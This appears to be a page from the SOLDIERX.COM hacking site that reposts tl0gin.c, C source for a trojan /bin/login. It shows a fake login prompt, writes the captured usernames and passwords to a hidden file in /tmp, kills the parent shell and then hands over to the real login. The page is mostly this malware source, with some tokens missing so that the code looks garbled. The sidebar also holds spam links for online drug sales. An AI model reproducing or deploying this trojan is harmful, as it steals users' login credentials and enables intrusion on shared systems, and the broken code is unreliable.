SOLDIERX.COM
Nobody Can Stop Information Insemination
User login
Username:
*
Password:
*
Create new account
Request new password
Navigation
Home
VIP Only
FAQ
Forums
Blogs
IRC
Neophyte's Guide
Doctrine
Books
Tutorials
Tools
Hacker Database
Vulnerability Database
Image Galleries
SX Crew
SX Labs
SX Archives
Contests
SX Merchandise
Link Exchange
Recent Posts
Security News
Popular content
Usage Policy
Active forum topics
Aciclovir: Shop Via The Internet
Diovan: Order Via The Web
Librium: Shop Online
Tinidazole: Acquire Online
Nexium: Shop Online
Methocarbamol: Order Online
Tramadolor: Shop Via The Internet
Levitra: Purchase Via The Web
Avana: Buy Via The Internet
Etodolac: Acquire Online
more
Who's online
There are currently
0 users
and
31 guests
online.
Who's new
sniperx10
MASTERHACKZ
taking0ver
Chadly1983
rethoric
Home
tl0gin.c
3 February, 2014 - 15:26 — cisc0ninja
Trojan /bin/login.
/* tl0gin 0.1 (c)oded by m4rc3l0 in 11/09/2002(putz) *
* *
* Greetz: BashX, roadhouse, sinner, decodi, r0ot, hts, *
* midnight, behael, dacker, seed, m4st, mor_PH_eus, *
* eSc2, anjinh0, bionatus.. *
* #DNH, #ESFINGE, #FEANOR at BRASNET *
* *
* Mail-me: <a href="mailto:
[email protected]
">
[email protected]
</a> */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/utsname.h>
/* Error */
#define ERROR1 "Login incorrect"
/* Arquive */
#define ARQUI "/tmp/.tl0101"
/* Others */
#define MAX 500
#define ERRO -1
#define LOGIN "/bin/login"
void
banner
(
)
;
void
loga
(
)
;
void
retorna
(
)
;
int
pega_info
(
)
;
int
grava_arq
(
char
login
[
100
]
,
char
passwd
[
100
]
)
;
char
sys_name
[
100
]
;
char
sys_release
[
100
]
;
int
main
(
)
{
FILE
*
fp
;
signal
(
SIGINT
,
retorna
)
;
signal
(
SIGSTOP
,
retorna
)
;
signal
(
SIGQUIT
,
retorna
)
;
loga
(
)
;
return
(
)
;
}
void
loga
(
)
{
int
pid
;
char
login
[
MAX
]
,
passwd
[
MAX
]
,
esconde
[
MAX
]
,
hostname
[
MAX
]
;
char
*
pass
;
pid
=
getppid
(
)
;
gethostname
(
hostname
,
sizeof
(
hostname
)
)
;
for
(
;;
)
{
for
(
;;
)
{
PRIMEIRO
:
banner
(
)
;
SEGUNDO
:
printf
(
"%s login: "
,
hostname
)
;
fflush
(
stdout
)
;
gets
(
login
)
;
if
(
strcmp
(
login
,
""
)
!=
)
break
;
else
goto
PRIMEIRO
;
}
pass
=
(
char
*
)
getpass
(
"Password: "
)
;
printf
(
"%s
\n
\n
"
,
ERROR1
)
;
if
(
strlen
(
login
)
>=
3
)
break
;
else
goto
SEGUNDO
;
}
grava_arq
(
login
,
pass
)
;
kill
(
pid
,
9
)
;
execl
(
LOGIN
,
""
,
NULL
)
;
}
int
pega_info
(
)
{
struct
utsname info
;
if
(
uname
(
&
info
)
==
-
1
)
{
perror
(
"uname"
)
;
return
-
1
;
}
sprintf
(
sys_name
,
"%s"
,
info.
sysname
)
;
sprintf
(
sys_release
,
"%s"
,
info.
release
)
;
}
int
grava_arq
(
char
login
[
100
]
,
char
passwd
[
100
]
)
{
FILE
*
fp
;
if
(
(
fp
=
fopen
(
ARQUI
,
"a"
)
)
!=
NULL
)
{
fprintf
(
fp
,
"Login: %s
\t
Password: %s
\n
"
,
login
,
passwd
)
;
fclose
(
fp
)
;
return
;
}
else
return
-
1
;
}
void
banner
(
)
{
printf
(
"
\033
[2J"
)
;
printf
(
"
\033
[2;1H"
)
;
pega_info
(
)
;
printf
(
"%s %s
\n
\n
"
,
sys_name
,
sys_release
)
;
}
void
retorna
(
)
{
return
;
}
Site URL:
http://packetstormsecurity.com/files/30605/tl0gin.c.html
Linux
Password Cracker
Remote Administration Tool